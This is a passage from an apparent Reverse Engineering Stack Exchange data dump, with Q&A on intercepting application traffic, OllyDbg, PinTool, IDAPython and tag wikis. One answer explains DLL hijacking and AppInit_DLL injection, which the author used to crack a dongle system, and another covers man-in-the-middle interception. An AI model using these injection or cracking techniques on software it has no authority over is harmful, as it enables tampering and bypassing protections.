rel=&quot;nofollow&quot;&gt;Automated Browserless OAuth Authentication for Twitter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.databigbang.com/web-scraping-ajax-and-javascript-sites/&quot; rel=&quot;nofollow&quot;&gt;Web Scraping Ajax and Javascript Sites&lt;/a&gt; includes a LOT of resources in the end about offline/headless browsers and browsers emulation like &lt;a href=&quot;https://developers.google.com/chrome-developer-tools/&quot; rel=&quot;nofollow&quot;&gt;HTMLUnit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For applications that has some anti-scraping techniques you can take a look at &lt;a href=&quot;http://blog.databigbang.com/running-your-own-anonymous-rotating-proxies/&quot; rel=&quot;nofollow&quot;&gt;Running Your Own Anonymous Rotating Proxies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is some specific requirement that is not covered there please don't hesitate to leave a comment and I will help you on that.&lt;/p&gt;&#xA;" OwnerUserId="37" LastEditorUserId="37" LastEditDate="2013-04-06T13:07:17.083" LastActivityDate="2013-04-06T13:07:17.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1628" PostTypeId="1" AcceptedAnswerId="1632" CreationDate="2013-04-06T13:45:41.450" Score="15" ViewCount="11445" Body="&lt;p&gt;Always wondered how it would be possible to see what data is being transmitted back and forth with an application that calls home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say we emulate the server via host file redirect. Would it be possible to see what requests are being made by the application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it possible at all to intercept the response(and view data) from the real server before it reaches the application?&lt;/p&gt;&#xA;" OwnerUserId="1606" LastEditorUserId="1606" LastEditDate="2013-04-06T13:57:13.800" LastActivityDate="2013-04-09T06:51:58.517" Title="How to see what data is being transmitted when an application calls home?" Tags="|tools|windows|security|php|serial-communication|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1629" PostTypeId="2" ParentId="1594" CreationDate="2013-04-06T13:54:21.237" Score="22" Body="&lt;p&gt;After &lt;a href=&quot;https://github.com/stefanesser/dumpdecrypted&quot; rel=&quot;nofollow noreferrer&quot;&gt;decrypting an IPA file on a jailbroken iDevice&lt;/a&gt;, you can use a much more affordable alternative to IDA Pro called &lt;strong&gt;Hopper&lt;/strong&gt; - the multi-platform disassembler for &amp;lt; $100.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hopperapp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It has support for analyzing iOS executables (among others) and even comes with the ability to convert ARM assembly to pseudo-C.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GfUK2.jpg&quot; alt=&quot;Hopper screenshot with example disassembly and pseudocode&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="29671" LastEditDate="2021-12-10T21:31:55.737" LastActivityDate="2021-12-10T21:31:55.737" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1630" PostTypeId="2" ParentId="1628" CreationDate="2013-04-06T14:00:53.157" Score="7" Body="&lt;p&gt;There are a couple of ways that come to mind. The first would be to use a network packet analyzer on the actual client running the application. Some well known packet analyzers are &lt;a href=&quot;http://www.wireshark.org/&quot;&gt;Wireshark&lt;/a&gt;, &lt;a href=&quot;http://www.tcpdump.org/&quot;&gt;tcpdump&lt;/a&gt;, and even &lt;a href=&quot;http://www.microsoft.com/en-us/download/details.aspx?id=4865&quot;&gt;Microsoft Network Monitor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative would be to intercept the traffic via man-in-the-middle (M. The easiest way to do this (if you control the client) is to turn your Linux based laptop into a wireless access point, and intercept the client's traffic, analyze it, and route it to the internet. This will require 2 network cards, at least one of them being a wireless card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a tutorial to get you started on performing a mitm attack in this manner:&#xA;&lt;a href=&quot;http://www.backtrack-linux.org/forums/showthread.php?t=1939&quot;&gt;http://www.backtrack-linux.org/forums/showthread.php?t=1939&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or &lt;a href=&quot;http://mitmproxy.org/&quot;&gt;mitmproxy&lt;/a&gt; is another great tool to accomplish this (and they support SSL), and have lots of examples on their website.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-04-06T14:00:53.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1631" PostTypeId="2" ParentId="1628" CreationDate="2013-04-06T14:07:52.473" Score="0" Body="&lt;p&gt;Well, do you know what is the IP address or domain which the malware is trying to call home?&#xA;If you do, you can try changing the hosts file located at &lt;code&gt;%systemroot%\system32\drivers\etc\&lt;/code&gt;. That way, it won't be able to call home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use Wireshark to sniff the traffic.&#xA;Once you know the IP address and the port number, you can use the filters to make it more appeasing to the eyes and easier to find the information that you require.&lt;/p&gt;&#xA;" OwnerUserId="1607" LastEditorUserId="60" LastEditDate="2013-04-07T15:32:42.063" LastActivityDate="2013-04-07T15:32:42.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1632" PostTypeId="2" ParentId="1628" CreationDate="2013-04-06T14:08:20.150" Score="19" Body="&lt;p&gt;You may capture the traffic with packet sniffer to capture all the communications of client\server application, or You may use reverse proxy to intercept and alter data in real time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In simple words, network sniffers allow You to see data flow between client and server, analyse it and reverse the protocol communications&#xA;Reverse proxy intercept communication between client and server, allow alter the requests and re-send them, manipulate and examine in real time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Network sniffers:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.wireshark.org/&quot;&gt;WireShark&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tcpdump.org/&quot;&gt;tcpdump&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.winpcap.org/windump/&quot;&gt;WinDump&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reverse Proxy:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&quot;&gt;ZAP (OWASP Project)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/vulture/downloads/list&quot;&gt;Vulture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.portswigger.net/burp/help/proxy.html&quot;&gt;Burp Proxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://fiddler2.com/fiddler2/&quot;&gt;Fiddler&lt;/a&gt; (most recommended for Web\malware analysis)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may see &lt;strong&gt;samples of successful use of such technique&lt;/strong&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gursevkalra.blogspot.co.il/2011/06/intercepting-blackberry-application.html&quot;&gt;Intercepting Blackberry Application Traffic&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.randomsync.net/2010/07/intercepting-ssl-traffic-using.html&quot;&gt;Intercepting SSL traffic using WebScarab&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thesprawl.org/research/ios-data-interception/&quot;&gt;iOS data interception&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="1334" LastEditDate="2013-04-06T14:22:59.733" LastActivityDate="2013-04-06T14:22:59.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1633" PostTypeId="2" ParentId="1628" CreationDate="2013-04-06T14:11:39.660" Score="1" Body="&lt;p&gt;You can add the HTTP proxy &lt;a href=&quot;http://www.fiddler2.com/fiddler2/&quot; rel=&quot;nofollow&quot; title=&quot;Fiddler&quot;&gt;Fiddler&lt;/a&gt; to the list if they use a HTTP protocol&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2013-04-06T14:11:39.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1634" PostTypeId="2" ParentId="1628" CreationDate="2013-04-06T14:22:06.997" Score="5" Body="&lt;p&gt;&lt;strong&gt;Just before posting this answer I realized he's asking how to do this on windows and my answers is for Mac. I'm posting it regardless because I believe it might be useful for others trying to perform the same thing but then using a Mac&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a Mac, then it's really easy by the combination of a Remote Virtual Interface (rvi) and Wireshark. Note that this does not work if your application uses HTTP/SSL, in that case do what @MickGrove suggests and perform a MITM.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume you do have a mac, try this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect your phone/ipad/ipod via USB&lt;/li&gt;&#xA;&lt;li&gt;Go to system information (use Spotlight or via Apple Logo -&gt; about this mac) and under hardware-&gt;USB  find your iphone and copy the Serial Number (it's a long hex number)&lt;/li&gt;&#xA;&lt;li&gt;Open a terminal and type &lt;code&gt;rvictl -s &amp;lt;serialnumber&amp;gt;&lt;/code&gt; This will create a network interface called rvi0.&lt;/li&gt;&#xA;&lt;li&gt;Open wireshark and start sniffing on rvi0&lt;/li&gt;&#xA;&lt;li&gt;Once done type &lt;code&gt;rvictl -x &amp;lt;serialnumber&amp;gt;&lt;/code&gt; to remove the interface&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-04-06T14:22:06.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1635" PostTypeId="2" ParentId="1436" CreationDate="2013-04-06T14:22:49.060" Score="6" Body="&lt;p&gt;Well, personally i would either use JSDetox (&lt;a href=&quot;http://relentless-coding.org/projects/jsdetox&quot;&gt;http://relentless-coding.org/projects/jsdetox&lt;/a&gt;) if i'm feeling lazy to analyse it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably one of the better tools out there.&lt;/p&gt;&#xA;" OwnerUserId="1607" LastActivityDate="2013-04-06T14:22:49.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1636" PostTypeId="1" AcceptedAnswerId="1638" CreationDate="2013-04-06T15:18:09.063" Score="24" ViewCount="11166" Body="&lt;p&gt;I see that most RE tutorials around the web that give RE examples use OllyDbg 1, even if the tutorial was written after the release of OllyDbg 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any particular reason for that? Is version 2 too buggy, or were some of the features dropped?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="107" LastEditDate="2013-04-07T09:19:43.493" LastActivityDate="2016-07-15T12:43:59.353" Title="Advantages of OllyDbg 1 over OllyDbg 2" Tags="|ollydbg|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1637" PostTypeId="2" ParentId="1636" CreationDate="2013-04-06T17:51:35.053" Score="20" Body="&lt;p&gt;The main reason I believe is the scripts and plugins that exist for OllyDbg 1. Tuts4you.com has around 250 plugins for version 1 and only 30 for version 2.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tuts4you.com/download.php?list.9&quot;&gt;Ollydbg Version 1 plugins&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tuts4you.com/download.php?list.94&quot;&gt;Ollydbg Version 2 plugins&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also the feature list is not great anymore to make someone change from version 1 to the new version. If someone is changing from OllyDbg v1 to something else, WinDbg could be a choice.&lt;/p&gt;&#xA;" OwnerUserId="1344" LastEditorUserId="60" LastEditDate="2013-04-06T18:28:41.663" LastActivityDate="2013-04-06T18:28:41.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1638" PostTypeId="2" ParentId="1636" CreationDate="2013-04-06T20:18:32.707" Score="25" Body="&lt;p&gt;Well, there is another reason. Historical one, actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At end of 2001, when the first versions of Ollydbg were presented, there was SoftICE, which was at its end, and IDA was not that popular yet. So OllyDBG became sort of the de-facto replacement for the main black-hat tool for cracking\patching\keygen-writing. And OllyDBG 1.x is a good, handy tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then, the development of OllyDBG became a slow process, with lots of delays. When it was finally announced, there appeared to be some problems, plug-ins compatibility etc. You may see the  story at OllyDBG 2.x &lt;a href=&quot;http://www.ollydbg.de/version2.html&quot;&gt;webpage&lt;/a&gt; on offsite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, IDA Pro of Hex-Rays proved itself as a useful tool, very handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom line - when in June 2010 version 2.0 of OllyDBG was released, it was buggy, didn't support old plug-ins and there were no reason to change to the new version, at least for me. In addition, many manuals were available for version 1.x, and the benefits of version 2.0 for tasks OllyDBG was used for were not attractive enough, IMHO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;End of story :)&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="151" LastEditDate="2013-04-07T04:09:06.337" LastActivityDate="2013-04-07T04:09:06.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1639" PostTypeId="2" ParentId="185" CreationDate="2013-04-06T22:19:50.293" Score="6" Body="&lt;h1&gt;Doing that on Windows&lt;/h1&gt;&#xA;&lt;p&gt;Although this question focuses on Linux, where personally I would go with the easy &lt;code&gt;LD_PRELOAD&lt;/code&gt; method as outlined in other answers, Windows knows a similar mechanism that in fact has been abused in the more recent past (also see alternative approaches below). I used that method to &amp;quot;crack&amp;quot; one dongle system.&lt;/p&gt;&#xA;&lt;p&gt;Enter ...&lt;/p&gt;&#xA;&lt;h2&gt;DLL placement (aka preloading, aka hijacking) attacks&lt;/h2&gt;&#xA;&lt;p&gt;The name has been given to the method fairly recently when it turned out that placing DLLs on remote shares and then navigating to shares in, say a media player, would result in the media player loading the remote DLL instead of a local version. This is by design. Changing it now would break hundreds if not thousands of applications.&lt;/p&gt;&#xA;&lt;p&gt;This has been addressed by Microsoft &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order&quot; rel=&quot;nofollow noreferrer&quot;&gt;in certain ways&lt;/a&gt;, although the only real solution is proper implementation on the application side. But then, many developers haven't even grasped NT security even though we have to deal with it ever since Windows 2000 became the first consumer OS based on the NT platform.&lt;/p&gt;&#xA;&lt;h3&gt;What does it have to do with your described goal?&lt;/h3&gt;&#xA;&lt;p&gt;Adding functionality doesn't necessarily imply that you patch the executable on-disk. You can also do it in memory.&lt;/p&gt;&#xA;&lt;h3&gt;How can you leverage it?&lt;/h3&gt;&#xA;&lt;p&gt;Whenever an application uses a DLL, and you can tell the load order with &lt;a href=&quot;https://www.dependencywalker.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dependency Walker&lt;/a&gt; or under a debugger, you can pick one of the DLLs it imports and replace that (in its current location) or placing another DLL in a path that precedes the existing DLL in the load order.&lt;/p&gt;&#xA;&lt;p&gt;An alternative method is to change the name of the imported DLLs. In rare cases (well known DLLs, for example) this is the only viable method to load an alternative DLL and may still fail for certain special cases.&lt;/p&gt;&#xA;&lt;h3&gt;Limitations&lt;/h3&gt;&#xA;&lt;p&gt;If the used DLL exists in the first location in the DLL search order, you'll literally have to replace the file on disk, unless you rename the import as briefly mentioned above.&lt;/p&gt;&#xA;&lt;h3&gt;Implementations&lt;/h3&gt;&#xA;&lt;p&gt;A manual approach can be used for DLLs with only few exported symbols. The easiest would be to create a module definition file from the the DLL and from that create a DLL with only function forwarders. This way your placed DLL would get loaded already and would simply pass through the calls.&lt;/p&gt;&#xA;&lt;p&gt;However, this approach will fail with exported variables (as opposed to functions).&lt;/p&gt;&#xA;&lt;p&gt;Here's a simple Python script based on &lt;a href=&quot;https://github.com/erocarrera/pefile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;pefile&lt;/code&gt;&lt;/a&gt; which I wrote for &lt;a href=&quot;https://stackoverflow.com/a/15117763/476371&quot;&gt;another answer over at StackOverflow&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import sys&#xA;import re&#xA;&#xA;def main(pename):&#xA;    from pefile import PE&#xA;    print &amp;quot;Parsing %s&amp;quot; % pename&#xA;    pe = PE(pename)&#xA;    modname = os.path.basename(pename)&#xA;    libname = re.sub(r&amp;quot;(?i)^.*?([^\\/]+)\.(?:dll|exe|sys|ocx)$&amp;quot;, r&amp;quot;\1.lib&amp;quot;, modname)&#xA;    defname = libname.replace(&amp;quot;.lib&amp;quot;, &amp;quot;.def&amp;quot;)&#xA;    print &amp;quot;Writing module definition file %s for %s&amp;quot; % (defname, modname)&#xA;    f = open(defname, &amp;quot;w&amp;quot;) # want it to throw, no sophisticated error handling here&#xA;    f.write(&amp;quot;LIBRARY %s\n\n&amp;quot; % modname)&#xA;    f.write(&amp;quot;EXPORTS\n&amp;quot;)&#xA;    numexp = 0&#xA;    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:&#xA;        if exp.name:&#xA;            numexp += 1&#xA;            f.write(&amp;quot;\t%s\n&amp;quot; % exp.name)&#xA;    print &amp;quot;Wrote %s with %d exports&amp;quot; % (defname, numexp)&#xA;    print &amp;quot;\n\nUse this to create the export lib:\n\tlib /def:%s /out:%s&amp;quot; % (defname, libname)&#xA;&#xA;if __name__ == '__main__':&#xA;    if len(sys.argv) != 2:&#xA;        sys.stderr.write(&amp;quot;ERROR:\n\tSyntax: fakelib &amp;lt;dllfile&amp;gt;\n&amp;quot;)&#xA;        sys.exit(1)&#xA;    sys.exit(main(sys.argv[1]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You could adjust it to create &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20060719-24/?p=30473&quot; rel=&quot;nofollow noreferrer&quot;&gt;function forwarders&lt;/a&gt; instead of a simple module definition with exported names.&lt;/p&gt;&#xA;&lt;p&gt;So this way you can shuttle your code into the target application and go from there.&lt;/p&gt;&#xA;&lt;h2&gt;Alternative approaches&lt;/h2&gt;&#xA;&lt;p&gt;Instrumentation and hooking have been mentioned already. &lt;a href=&quot;https://www.microsoft.com/en-us/research/project/detours/?from=http://research.microsoft.com/en-us/projects/detours/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detours&lt;/a&gt; is an often mentioned example of hooking with an inconvenient EULA for most practical purposes. Refer to the existing answers for this kind of approach.&lt;/p&gt;&#xA;&lt;p&gt;You can also use the &lt;a href=&quot;https://docs.microsoft.com/en-US/windows/win32/dlls/secure-boot-and-appinit-dlls&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;AppInit_DLL&lt;/code&gt;&lt;/a&gt; registry value to inject a DLL early on. Or you could write a little launcher with a debugger loop and use &lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2010/a329t4ed%28v=vs.100%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Image File Execution Options&lt;/code&gt;&lt;/a&gt; to have your target launch your debugger first. A debugger can also influence the DLL loading or simply intercept - conveniently - calls at the boundary between executable and DLLs.&lt;/p&gt;&#xA;&lt;p&gt;Trivia: this (&lt;code&gt;Image File Execution Options&lt;/code&gt;) is how Process Explorer replaces Task Manager when you choose the option inside Process Explorer.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;You'll notice how you can sort these approaches into the categories &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/192/245&quot;&gt;Ed McMan mentioned in his answer&lt;/a&gt; already. However, I'll leave that as an exercise to the reader :)&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="13506" LastEditDate="2022-07-20T08:43:22.663" LastActivityDate="2022-07-20T08:43:22.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1641" PostTypeId="1" AcceptedAnswerId="1642" CreationDate="2013-04-06T23:38:55.913" Score="3" ViewCount="1431" Body="&lt;p&gt;I see that PinTool works for Windows and Linux.  Does it also happen to work for OSX?  Or is there a similar tool that I can use to easily record code coverage for a closed-source app?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-04-07T08:00:25.660" Title="Pintool For OSX" Tags="|dynamic-analysis|osx|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1642" PostTypeId="2" ParentId="1641" CreationDate="2013-04-06T23:47:42.030" Score="5" Body="&lt;p&gt;Yes, pintool works on os x as well (Snow Leopard or newer for the current tech preview ver).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://software.intel.com/en-us/articles/pintool-downloads&quot;&gt;http://software.intel.com/en-us/articles/pintool-downloads&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2013-04-06T23:55:35.200" LastActivityDate="2013-04-06T23:55:35.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1643" PostTypeId="5" CreationDate="2013-04-07T00:14:32.440" Score="0" Body="&lt;p&gt;&lt;strong&gt;Visual Basic&lt;/strong&gt; is an event-driven programming language and IDE from Microsoft, designed to be relatively easy to learn and use, derived from Basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The successor to Visual Basic is &lt;a href=&quot;/questions/tagged/vb.net&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'vb.net'&quot; rel=&quot;tag&quot;&gt;vb.net&lt;/a&gt;, also known as Visual Basic.  Questions that use just Visual Basic probably use VB.NET instead.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Visual_Basic&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Visual Basic&lt;/strong&gt; is a third-generation event-driven programming language and integrated development environment (IDE) from Microsoft for its COM programming model first released in 1991. Visual Basic is designed to be relatively easy to learn and use. Visual Basic was derived from BASIC and enables the rapid application development (RAD) of graphical user interface (GUI) applications, access to databases using Data Access Objects, Remote Data Objects, or ActiveX Data Objects, and creation of ActiveX controls and objects. The scripting language VBScript is a subset of Visual Basic.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-08T13:47:53.343" LastActivityDate="2013-04-08T13:47:53.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1644" PostTypeId="4" CreationDate="2013-04-07T00:14:32.440" Score="0" Body="an event-driven programming language and IDE from Microsoft for its COM programming model.  The precursor to VB.NET." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-08T13:47:05.607" LastActivityDate="2013-04-08T13:47:05.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1645" PostTypeId="2" ParentId="1641" CreationDate="2013-04-07T08:00:25.660" Score="4" Body="&lt;p&gt;Yes, they work as @broadway already pointed out. However, PIN under OSX have many-many restrictions, some of them documented and others not. The most noticeable feature it lacks is support for creating threads in a PIN tool.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-04-07T08:00:25.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1646" PostTypeId="1" AcceptedAnswerId="1647" CreationDate="2013-04-07T12:24:01.923" Score="12" ViewCount="5220" Body="&lt;p&gt;Say I have an arbitrary address and I want to find out which basic block (i.e. area_t structure) corresponds to it. How would I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;more specifically, I want to know the beginning / end of the basic block to which a given address belongs.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2013-04-07T13:30:51.833" LastActivityDate="2022-11-09T04:22:06.713" Title="How to map an arbitrary address to its corresponding basic block in IDA?" Tags="|idapython|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1647" PostTypeId="2" ParentId="1646" CreationDate="2013-04-07T13:41:05.100" Score="16" Body="&lt;p&gt;I put this together quickly in the &lt;kbd&gt;File&lt;/kbd&gt; &gt; &lt;kbd&gt;Python command...&lt;/kbd&gt; dialog:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tgtEA = idaapi.askaddr(0, &quot;Enter target address&quot;)&#xA;if tgtEA is None:&#xA;  exit&#xA;&#xA;f = idaapi.get_func(tgtEA)&#xA;if not f:&#xA;  print &quot;No function at 0x%x&quot; % (tgtEA)&#xA;  exit&#xA;&#xA;fc = idaapi.FlowChart(f)&#xA;&#xA;for block in fc:&#xA;  if block.startEA &amp;lt;= tgtEA:&#xA;    if block.endEA &amp;gt; tgtEA:&#xA;      print &quot;0x%x is part of block [0x%x - 0x%x)&quot; % (tgtEA, block.startEA, block.endEA)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that IDA's basic block addresses are &quot;&lt;code&gt;startEA&lt;/code&gt; inclusive, &lt;code&gt;endEA&lt;/code&gt; exclusive&quot;. &lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorDisplayName="user187" LastEditDate="2013-04-08T14:57:23.590" LastActivityDate="2013-04-08T14:57:23.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1648" PostTypeId="2" ParentId="1646" CreationDate="2013-04-07T17:48:39.917" Score="17" Body="&lt;p&gt;As suggested by DCoder, I use the following helper class to efficiently resolve addresses to basic blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Wrapper to operate on sorted basic blocks.&#xA;class BBWrapper(object):&#xA;  def __init__(self, ea, bb):&#xA;    self.ea_ = ea&#xA;    self.bb_ = bb&#xA;&#xA;  def get_bb(self):&#xA;    return self.bb_&#xA;&#xA;  def __lt__(self, other):&#xA;    return self.ea_ &amp;lt; other.ea_&#xA;&#xA;# Creates a basic block cache for all basic blocks in the given function.&#xA;class BBCache(object):&#xA;  def __init__(self, f):&#xA;    self.bb_cache_ = []&#xA;    for bb in idaapi.FlowChart(f):&#xA;      self.bb_cache_.append(BBWrapper(bb.startEA, bb))&#xA;    self.bb_cache_ = sorted(self.bb_cache_)&#xA;&#xA;  def find_block(self, ea):&#xA;    i = bisect_right(self.bb_cache_, BBWrapper(ea, None))&#xA;    if i:&#xA;      return self.bb_cache_[i-1].get_bb()&#xA;    else:&#xA;      return None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It can be used like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bb_cache = BBCache(idaapi.get_func(here()))&#xA;found = bb_cache.find_block(here())&#xA;if found:&#xA;  print &quot;found: %X - %X&quot; % (found.startEA, found.endEA)&#xA;else:&#xA;  print &quot;No basic block found that contains %X&quot; % here()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-04-07T17:48:39.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1649" PostTypeId="5" CreationDate="2013-04-08T09:45:36.353" Score="0" Body="&lt;p&gt;Deobfuscation is about all the techniques used to simplify and filter out all the attempts to obfuscate the code. These techniques may be automated or not but must result in a simpler version of the original obfuscated program (possibly in a non-executable form).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-08T13:48:54.410" LastActivityDate="2013-04-08T13:48:54.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1650" PostTypeId="4" CreationDate="2013-04-08T09:45:36.353" Score="0" Body="Techniques to remove obfuscation from a piece of program." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-08T13:46:55.747" LastActivityDate="2013-04-08T13:46:55.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1651" PostTypeId="5" CreationDate="2013-04-08T09:55:45.440" Score="0" Body="&lt;p&gt;Binary analysis is opposed at code analysis, where the source code of the program, and only the source code, is used to perform the analysis. Binary analysis suppose that a binary form of the program is given and that the analysis is based on it (the source code might be used as well if available).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, binary analysis is decomposed into two types: &lt;strong&gt;Static binary analysis&lt;/strong&gt; (only the binary code is looked at and the program is never executed) and &lt;strong&gt;Dynamic binary analysis&lt;/strong&gt; (the program is executed and the analysis is performed over the actual traces of the program).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-08T13:46:49.467" LastActivityDate="2013-04-08T13:46:49.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
